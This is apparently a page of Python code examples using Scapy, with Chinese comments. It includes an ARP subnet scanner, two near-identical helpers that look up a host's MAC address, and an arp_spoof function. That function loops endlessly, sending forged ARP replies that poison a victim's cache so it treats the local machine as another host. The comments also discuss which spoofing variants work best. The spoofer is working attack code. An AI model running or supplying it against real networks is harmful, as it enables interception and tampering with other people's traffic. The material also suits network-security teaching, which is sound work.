示例#1
0
def arp_scan(network_prefix, ifname):
	#localip = get_ip_address(ifname)
	#获取本机IP地址
	localip = get_ip_address_ifconfig(ifname)['ip_address']
	#获取本地MAC地址
	localmac = get_mac_address(ifname)
	#把网络前缀通过'.'分开,并且产生清单prefix
	prefix = network_prefix.split('.')
	#产生一个扫描设备的IP清单
	ip_list = []
	for i in range(254):#0到253
		ipno = prefix[0] + '.' + prefix[1] + '.' + prefix[2] + '.' + str(i+1)#需要把i+1,这样就是1-254
		ip_list.append(ipno) #把IP地址添加到扫描清单
	#发送ARP请求包,并等待响应结果##################################################################################################地址为清单######################配置超时时间################
	result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_list), iface = ifname, timeout = 1, verbose = False)
	#把响应的数据包对,产生为清单
	result_list = result_raw[0].res
	#扫描得到的IP和MAC地址对的清单
	IP_MAC_LIST = []
	for n in range(len(result_list)):#len(result_list)表示响应数据包对的数量
		IP = result_list[n][1][1].fields['psrc'] #提取响应包,ARP头部中的['psrc']字段,这是IP地址
		MAC = result_list[n][1][1].fields['hwsrc'] #提取响应包,ARP头部中的['hwsrc']字段,这是MAC地址
		IP_MAC = [IP, MAC] #把IP和MAC做成清单
		IP_MAC_LIST.append(IP_MAC) #把IP和MAC做成的清单,添加到IP_MAC_LIST这个上一级清单里边

	return IP_MAC_LIST #返回IP_MAC_LIST这个清单
示例#2
0
def arp_spoof(ip_1, ip_2, ifname):
    global localip, localmac, ip_1_mac, ip_2_mac, g_ip_1, g_ip_2, g_ifname  #申明全局变量
    g_ip_1 = ip_1  #为全局变量赋值,g_ip_1为被毒化ARP设备的IP地址
    g_ip_2 = ip_2  #为全局变量赋值,g_ip_2为本机伪装设备的IP地址
    g_ifname = ifname  #为全局变量赋值,攻击使用的接口名字
    #localip = get_ip_address(ifname)
    #获取本机IP地址,并且赋值到全局变量localip
    localip = get_ip_address_ifconfig(ifname)['ip_address']
    #获取本机MAC地址,并且赋值到全局变量localmac
    localmac = get_mac_address(ifname)
    #获取ip_1的真实MAC地址
    ip_1_mac = get_arp(ip_1, ifname)
    #获取ip_2的真实MAC地址
    ip_2_mac = get_arp(ip_2, ifname)
    #引入信号处理机制,如果出现ctl+c(signal.SIGINT),使用sigint_handler这个方法进行处理
    signal.signal(signal.SIGINT, sigint_handler)
    while True:  #一直攻击,直到ctl+c出现!!!
        #op=2,响应ARP
        sendp(Ether(src=localmac, dst=ip_1_mac) / ARP(
            op=2, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1),
              iface=g_ifname,
              verbose=False)
        #op=1,请求ARP
        #sendp(Ether(src=localmac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False)
        #以太网头部的src MAC地址与ARP数据部分的hwsrc MAC不匹配攻击效果相同
        #sendp(Ether(src=ip_1_mac, dst=ip_1_mac)/ARP(op=1, hwsrc=localmac, hwdst=ip_1_mac, psrc=g_ip_2, pdst=g_ip_1), iface = g_ifname, verbose = False)
        #如果采用dst为二层广播,会造成被伪装设备告警地址重叠,并且欺骗效果不稳定,容易抖动!
        print("发送ARP欺骗数据包!欺骗" + ip_1 + '本地MAC地址为' + ip_2 + '的MAC地址!!!')
        time.sleep(1)
示例#3
0
def get_arp(ip_address, ifname):
	#localip = get_ip_address(ifname)
	#获取本机IP地址
	localip = get_ip_address(ifname)
	#获取本机MAC地址
	localmac = get_mac_address(ifname)
	#发送ARP请求并等待响应
	result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF')/ARP(op=1, hwsrc=localmac, hwdst='00:00:00:00:00:00', psrc=localip, pdst=ip_address), iface = ifname, verbose = False)
	#把响应的数据包对,产生为清单
	result_list = result_raw[0].res
	#[0]第一组响应数据包
	#[1]接受到的包,[0]为发送的数据包
	#[1]ARP头部字段中的['hwsrc']字段,作为返回值返回
	return result_list[0][1][1].fields['hwsrc']
示例#4
0
def get_arp(ip_address, ifname):
    #localip = get_ip_address(ifname)
    #获取本机IP地址
    localip = get_ip_address(ifname)
    #获取本机MAC地址
    localmac = get_mac_address(ifname)
    #发送ARP请求并等待响应
    result_raw = srp(Ether(src=localmac, dst='FF:FF:FF:FF:FF:FF') /
                     ARP(op=1,
                         hwsrc=localmac,
                         hwdst='00:00:00:00:00:00',
                         psrc=localip,
                         pdst=ip_address),
                     iface=ifname,
                     verbose=False)
    #把响应的数据包对,产生为清单
    result_list = result_raw[0].res
    #[0]第一组响应数据包
    #[1]接受到的包,[0]为发送的数据包
    #[1]ARP头部字段中的['hwsrc']字段,作为返回值返回
    return result_list[0][1][1].fields['hwsrc']